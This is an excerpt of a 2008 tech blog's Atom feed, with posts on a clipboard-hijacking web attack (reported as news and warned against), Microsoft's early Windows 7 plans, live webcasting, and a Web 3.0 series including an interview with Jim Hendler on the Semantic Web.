/&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;The attack has been reported by Firefox users running both OS X and Windows, but we wouldn't be surprised to hear that other browsers and operating systems are also vulnerable. It's unclear exactly how the attack spreads. The Spyware Sucks blog posits here that banner ads transmitting bad Adobe Flash code is responsible, and that makes sense to us.&lt;br /&gt;&lt;br /&gt;If you've encountered this attack, please leave a comment below detailing exactly where you encountered it.&lt;br /&gt;&lt;br /&gt;Those behind the attack appear intent on propagating a link (for the record, it's xp-vista-update.net, but we recommend staying away) that claims users' PCs are petri dishes hopelessly infected with malware unless they are immediately cleaned by a fraudulent anti-malware program. By permanently attaching the link to the clipboard, attackers are betting the user will paste it in emails, blog posts or directly into a browser's address bar.&lt;br /&gt;&lt;br /&gt;Attacks like these are another reason why running the NoScript extension on Firefox makes a lot of sense. It's not perfect, but it can insulate you from a huge amount of the attack code floating around on the web&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6853301451519053075?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6853301451519053075/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6853301451519053075' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6853301451519053075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6853301451519053075'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/mystery-web-attack-hijacks-your.html' title='Mystery web attack hijacks your clipboard'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-5503196748505767823</id><published>2008-08-16T03:24:00.000-07:00</published><updated>2008-08-16T03:52:45.459-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Microsoft Talks Up Windows 7 - But Only a Little</title><content type='html'>Microsoft is talking about Windows 7, the successor to Windows Vista -- but it isn't saying too much. Having learned from promising and not delivering when it launched Vista, Microsoft this time will be more measured in the details it releases.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Although it is not officially scheduled to be released until 2010, Microsoft (Nasdaq: MSFT) Latest News about Microsoft is starting to talk up Windows 7, its next OS.&lt;br /&gt;&lt;br /&gt;To that end, it has started a blog hosted by the two senior engineering managers for the Windows 7 product, Jon DeVaan and Steven Sinofsky, and is promising to release in-depth technical specs in October, first at the Professional Developers Conference and then at the Windows Hardware Engineering Conference. &lt;br /&gt;&lt;br /&gt;DeVaan and Sinofsky demonstrate that Microsoft has learned from the Vista experience.&lt;br /&gt;&lt;br /&gt;"We, as a team, definitely learned some lessons about 'disclosure' and how we can all too easily get ahead of ourselves in talking about features before our understanding of them is solid. Related to disclosure is the idea of how we make sure not to set expectations around the release that end up disappointing you -- features that don't make it, claims that don't stick, or support we don't provide," they wrote.&lt;br /&gt;Ghost of Vista&lt;br /&gt;&lt;br /&gt;Overpromising on features, which were later discarded or abandoned, was a major complaint about Vista -- though it was hardly the only one. When that much-awaited OS was released, it had a number of problems with it, to say the least.&lt;br /&gt;&lt;br /&gt;Vista required significant investments in additional hardware to run smoothly and took up more system resources than many corporate IT shops had anticipated.&lt;br /&gt;&lt;br /&gt;Windows 7 should address the remaining tech issues with Vista, Rob Helm, director of research at Directions on Microsoft, an independent consulting firm, told TechNewsWorld.&lt;br /&gt;&lt;br /&gt;"The worst problems with Vista had to do with hardware performance Rackspace now offers green hosting solutions at the same cost without sacrificing performance. Make the eco-friendly choice. and capability," he said. Those are being resolved or will be resolved over the next two to three years, he added. "By the time Windows gets out of the door, the hardware universe will have caught up with the demands that Vista places on it," he said.&lt;br /&gt;Incremental Improvements&lt;br /&gt;&lt;br /&gt;Windows 7 is also not the ambitious undertaking that Vista was, which bodes well for a smoother roll-out. "It is pretty clear it is supposed to be an incremental improvement to Windows Vista," Helm said.&lt;br /&gt;&lt;br /&gt;Areas that Microsoft has said it will improve in Windows 7 include graphics performance, power management and APIs (application programming interfaces) for developers.&lt;br /&gt;&lt;br /&gt;The biggest change, which has been demoed, will be the introduction of touch computing -- a feature that ironically may pass many users by unless they have upgraded their PCs. Nonetheless, Helm said, Microsoft clearly hopes Windows 7 will be able to deliver what people had originally expected from Vista.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-5503196748505767823?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/5503196748505767823/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=5503196748505767823' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5503196748505767823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5503196748505767823'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/microsoft-talks-up-windows-7-but-only.html' title='Microsoft Talks Up Windows 7 - But Only a Little'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8191987555491657018</id><published>2008-08-16T03:12:00.000-07:00</published><updated>2008-08-16T03:18:34.765-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcasting'/><title type='text'>What is live webcasting and how does it work?</title><content type='html'>Live webcasting is what many people first think of when streaming media is mentioned— because they have heard about live rock concerts being broadcast on the internet, or phone in shows where some celebrity or politician takes a few live calls while broadcasting an interview over the web.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Live webcasting is what many people first think of when streaming media is mentioned— because they have heard about live rock concerts being broadcast on the internet, or phone in shows where some celebrity or politician takes a few live calls while broadcasting an interview over the web.&lt;br /&gt;&lt;br /&gt;Webcasting has a certain amount of appeal, because it promises to give almost anyone the ability to broadcast their concert, annual meeting, conference keynote speaker, or golf tournament award ceremony to virtually the entire world.&lt;br /&gt;&lt;br /&gt;From a technical point of view setting up a webcast is more complicated and somewhat more risky than creating a library of archived files. Because it is a live event, it involves all the usual risks associated with live events. Things usually don't go quite as planned; equipment breaks down; cables are forgotten back at the studio; lights burn out, people say stupid things or start drooling, and so on.&lt;br /&gt;&lt;br /&gt;The second complication has more to do with the specific technology used in webcasting. Since you have to "encode" a media stream before sending it out over the net, the encoder has to work more or less in real time. The cameras and audio equipment feed the signal into the encoding device. Then the encoding device compresses and formats the data so it can be sent along to the media server — presumably at a different location — where it is then streamed at the correct bitrate and ultimately played by the correct sort of media players at the other end.&lt;br /&gt;&lt;br /&gt;At first blush, this process may seem too fraught with variables to actually be counted on. But in practice, if the production company — the guys running the cameras and creating the final mix — if they can keep the signal running, then in fact it is quite a reliable method of broadcasting.&lt;br /&gt;&lt;br /&gt;The weakest link in the production chain is the connection between the encoder onsite at the live location —  and the server — presumably somewhere out there in cyberland.  But in many cases a simple DSL or Cable connection is perfectly satisfactory, since the encoded signal you are transferring is usually no more than 300-400 kbps.&lt;br /&gt;&lt;br /&gt;Complications certainly arise when deciding what format and what bitrate to use for your live webcast. Archived streaming media is often encoded in different formats and at different bitrates, but this is often not possible with live webcasts. In many cases the webcaster just has to pick the format he considers the most likely to be used by the largest number of viewers, and go with it.&lt;br /&gt;&lt;br /&gt;In real life situations restricting available formats like this is not as difficult as it may sound. Many webcasts are done for corporate clients and broadcast over restricted corporate networks. The specified format is just part of company policy, based on what the network administrators know is running on corporate desktops.&lt;br /&gt;&lt;br /&gt;Other webcasts are subscription-based — things like online training or "learning-at-a-distance" services, or even online rock concerts or movies. Using a specified format and bitrate just becomes part of the requirements to take advantage of the service.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Who can take advantage of live webcasting?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The users of webcasting tend to fall into two or three groups based on content and audience. At the "low" end of the scale are experimental services that have essentially no audience. These are individuals and companies experimenting with the technology hoping to find an idea that will have some audience appeal. At the "high" end of the scale are large broadcast organizations, rebroadcasting their traditional radio or TV signal to potentially very large audiences. Big name concert promoters and movie streamers tend to fall into this second category.&lt;br /&gt;&lt;br /&gt;Between these two extremes are events with a narrowly defined audience.  Most of them are corporate in nature — conference keynote addresses, the CEO's annual message to the troops, live reporting of quarterly corporate results, etc. Some of these events are akin to videoconferencing where, for instance, a live training session is webcast to a select group of customers or employees, or a lecture is webcast to a specific group of students.1&lt;br /&gt;&lt;br /&gt;As time goes by new applications for streaming will be developed. A few months ago I heard of a company setting up cameras in daycare centres and webcasting video of the children so their parents at work could watch their children on their computers.&lt;br /&gt;&lt;br /&gt;This idea may or may not ultimately fly; but it suggests a range of possibilities from video surveillance to in-house newscasting, to narrowly focused corporate event coverage, where we are not talking about one-off events like concerts, but rather regular coverage of recurring events in a controlled setting — like in a studio, newsroom, or briefing room. In such a situation the broadcast source would be controlled and predictable, the transmission system properly constructed and tested, and the viewing audience motivated to watch and equipped with the appropriate tools to do so.&lt;br /&gt;&lt;br /&gt;The other area that sounds plausible, but as yet has not proven to be economically viable is entertainment-based, or even information-based live programming produced specifically for webcasting. The challenge is to define a potential audience, create streaming programming specifically for that audience, let them know the service exists, and keep them coming back. And of course, find enough advertisers to support the service.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8191987555491657018?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8191987555491657018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8191987555491657018' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8191987555491657018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8191987555491657018'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/what-is-live-webcasting-and-how-does-it.html' title='What is live webcasting and how does it work?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-217932455471500882</id><published>2008-08-15T21:42:00.000-07:00</published><updated>2008-08-15T22:01:41.320-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0: Versions 4, 5, 6...</title><content type='html'>Is it too early to talk about Web 4.0? Of course not.&lt;br /&gt;According to Danish editor Jens Roland, who's been tracking the increasingly common practice of assigning version numbers to the World Wide Web, at least one Internet pundit is already discussing Web 38.0. Roland hastens to point out that this discussion is most likely tongue-in-cheek. But even as Web 2.0 continues to mature and an assortment of ideas called Web 3.0 hits our collective consciousness, some people are actually giving serious thought to version 4.0. Go ahead. Google it.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Is it too early to talk about Web 4.0? Of course not.&lt;br /&gt;According to Danish editor Jens Roland, who's been tracking the increasingly common practice of assigning version numbers to the World Wide Web, at least one Internet pundit is already discussing Web 38.0. Roland hastens to point out that this discussion is most likely tongue-in-cheek. But even as Web 2.0 continues to mature and an assortment of ideas called Web 3.0 hits our collective consciousness, some people are actually giving serious thought to version 4.0. Go ahead. Google it.&lt;br /&gt;&lt;br /&gt;One of the first and most visible Web 4.0 pundits is Seth Godin, a technology-minded marketing guru with seven books to his name, including Unleashing the Ideavirus, billed as the most popular e-book ever. What does a marketing guru have to do with the future of Net? Everything. After all, these Web-wide version numbers have so much to do with spin.&lt;br /&gt;&lt;br /&gt;Godin envisions Web 4.0, or Web4, as a place where you have even tighter online connections to your friends, family, and colleagues. "There are so many things the Web can do for me if it knows who my friends are, where they are, what they're doing, what they're interested in, how they can help me—and vice versa," he says.&lt;br /&gt;&lt;br /&gt;On his future Web, if you start typing an e-mail proposing a particular business deal with Apple, a window pops up, telling you that one of your colleagues is already in talks with Apple. If you miss an airplane flight and book a new one with your cell phone, it automatically sends messages to the friends you're meeting for dinner, letting them know you'll be late. It sounds a lot like the Semantic Web—with less privacy. Will this actually happen? Will people relinquish that much information about their private lives? Who knows? It's just an idea. Of course, people like Seth Godin know a thing or two about spreading ideas.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-217932455471500882?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/217932455471500882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=217932455471500882' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/217932455471500882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/217932455471500882'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html' title='Web 3.0: Versions 4, 5, 6...'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4523193372566081535</id><published>2008-08-15T21:41:00.000-07:00</published><updated>2008-08-15T22:01:57.610-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0 : Look, Ma, No Keywords!</title><content type='html'>Three new Web services reinvent the way we look for music and images.&lt;br /&gt;&lt;br /&gt;You won't search for media with keywords in the future-—you'll search for media with media. To find an image, you'll supply another image. To find a song, you'll supply another song. Don't believe it? Three new services—image-crunchers Like.com and Polar Rose, and music-matchmaker Pandora—have already taken the first steps toward this new breed of media search.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Three new Web services reinvent the way we look for music and images.&lt;br /&gt;&lt;br /&gt;You won't search for media with keywords in the future-—you'll search for media with media. To find an image, you'll supply another image. To find a song, you'll supply another song. Don't believe it? Three new services—image-crunchers Like.com and Polar Rose, and music-matchmaker Pandora—have already taken the first steps toward this new breed of media search.&lt;br /&gt;&lt;br /&gt;Today, when you search the Web for music and images, you're merely searching for the words that surround them. When you visit Google Image Search and type in "Steve Jobs," you aren't really looking for photos of Apple's CEO. You're looking for filenames and captions that carry those keywords—"Steve" and "Jobs"—hoping the right photos are somewhere nearby.&lt;br /&gt;&lt;br /&gt;There's a sizable difference between the two. On any given image search, Google turns up countless photos completely unrelated to your query, even as it misses out on countless others that may be a perfect match. In the end, you're relying on Web publishers to annotate their images accurately, and that's a hit-or-miss proposition.&lt;br /&gt;&lt;br /&gt;The situation is much the same with MP3s, podcasts, and other sound files. When trolling Web-based music services, you can run a search on "Elvis" or "Jailhouse Rock." But what if you're looking for music that sounds like Elvis? Wouldn't it be nice if you could use one song to find other similar songs?&lt;br /&gt;&lt;br /&gt;Ojos and Polar Rose are tackling the image side of the problem. Last spring, Ojos unveiled a Web-based photo--sharing tool called Riya, which automatically tags your pictures using face recognition. Rather than manually adding "Mom" tags to all your photos of Mom, you can show Riya what she looks like, and it adds the tags for you. The service is surprisingly accurate, gaining a huge following from the moment it hit the Web, but Ojos quickly realized that the Riya face-rec engine—which also identifies objects and words—could be used for Web-wide image search.&lt;br /&gt;&lt;br /&gt;That's a mammoth undertaking, but, with an alpha service called Like.com, the company is already offering a simple prototype. Today, Like.com is little more than a shopping engine. You select a photo of a product that best represents what you're looking for, and the service shows all sorts of similar products. But it's an excellent proof-of-concept.&lt;br /&gt;&lt;br /&gt;Meanwhile, Polar Rose (www.polarrose.com) recently introduced a browser plug-in that does face recognition with any photo posted to any Web site. For the moment, it's just a means of tagging images automatically—much like Riya. But unlike Riya, it already works across the length and breadth of the Net.&lt;br /&gt;&lt;br /&gt;The closest equivalent when it comes to audio is Pandora, from a group of "musicians and music-loving technologists" called the Music Genome Project. Since its inception in 2000, the group has analyzed songs from over 10,000 artists, carefully notating the music makeup of each track. Using this data and a list of your favorite artists, Pandora can instantly construct a new collection of songs that suit your tastes. Again, this is hardly a Web-wide search engine, and unlike the image services from Ojos and Polar Rose, it relies heavily on up-front human input. But it's a step in the right direction. True media search is closer than you think.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4523193372566081535?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4523193372566081535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4523193372566081535' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4523193372566081535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4523193372566081535'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html' title='Web 3.0 : Look, Ma, No Keywords!'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-877282586031164998</id><published>2008-08-15T21:38:00.000-07:00</published><updated>2008-08-15T22:02:18.656-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0 : Questions of Semantics</title><content type='html'>Tim Berners-Lee isn't the only man behind the Semantic Web. His 2001 Scientific American article, which introduced the concept to the world, was actually written in collaboration with two other eminent -researchers, Ora Lassila and Jim Hendler. Six years on, we tracked down Professor Hendler, now director of the Joint Institute for Knowledge Discovery at the University of Maryland and still one of the driving -forces behind this next-generation Internet.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt; &lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tim Berners-Lee isn't the only man behind the Semantic Web. His 2001 Scientific American article, which introduced the concept to the world, was actually written in collaboration with two other eminent -researchers, Ora Lassila and Jim Hendler. Six years on, we tracked down Professor Hendler, now director of the Joint Institute for Knowledge Discovery at the University of Maryland and still one of the driving -forces behind this next-generation Internet.&lt;br /&gt;&lt;br /&gt;Q: Does the Semantic Web idea predate your now-famous Scientific American article—or was that the first mention?&lt;br /&gt;&lt;br /&gt;A: That's the first time the term was coined and printed in a fairly accessible place. Recently, we've been looking for the absolute earliest use of the term Semantic Web, and it seems to go a bit further back, to a few small things Tim had written. He and some colleagues were using it locally within MIT and the surrounding community in the late nineties.&lt;br /&gt;&lt;br /&gt;Q: The Semantic Web can be a difficult concept to grasp. How do you define it?&lt;br /&gt;&lt;br /&gt;A: What the traditional Web does for the text documents in our lives, the Semantic Web does for all our data and information. Today, on my Web page, I can build a pointer to another Web page. But I can't link data together in the way I can link pages together. I can't point from a value in one database to some other value in some other database. To use a simple example, if your driver's license number is in one place and your vehicle identification number is in another, there should be a way of linking those two things together. There should be a way for machines to understand that those two things are related.&lt;br /&gt;&lt;br /&gt;Q: Why is this so necessary?&lt;br /&gt;&lt;br /&gt;A: Right now, it's very difficult to browse data on the Web. I can use a search engine that gives me the results of a query and draws them as a list, but I can't click on one of those values and see what it really means and what it's really related to. Today's social networking is trying to improve this, with things like tagging. But if you typed "polish" and I typed "polish," how do we know we're talking about the same thing? You might be talking about a language and I might be talking about something that goes on furniture. On the other hand, if those two names are precisely identified, they don't accidentally overlap and it's easier to understand the data we've published. So the technology of the Semantic Web is, in a sense, the technology of precise vocabularies.&lt;br /&gt;&lt;br /&gt;Q: And this, in turn, would allow a machine to go out across the Web and find the things we're looking for?&lt;br /&gt;&lt;br /&gt;A: Yes. It's very hard for this to happen with just language descriptions. Our idea is to have machine-readable information shadowing the human-readable stuff. So if I have a page that says, "My name is Jim Hendler. Here's a picture of my daughter," the machine realizes that I'm a person, that I have a first name and a last name, that I'm the father of another person, and that she's a female person. The level of information a machine needs would vary from application to application, but just a little of this could go a long way—as long as it can all be linked together. And the linking is the Web part of the Semantic Web. This is all about adding meaning to the stuff we put on the Web—and then linking that meaning together.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-877282586031164998?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/877282586031164998/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=877282586031164998' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/877282586031164998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/877282586031164998'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html' title='Web 3.0 : Questions of Semantics'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6524418030332260047</id><published>2008-08-15T21:35:00.000-07:00</published><updated>2008-08-15T22:02:38.146-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0 : An Idiot's Guide to Web 3.0</title><content type='html'>What will Web 3.0 look like? Who knows? But here are a few possibilities.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The Semantic Web&lt;/span&gt;&lt;br /&gt;A Web where machines can read sites as easily as humans read them (almost). You ask your machine to check your schedule against the schedules of all the dentists and doctors within a 10-mile radius—and it obeys.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br 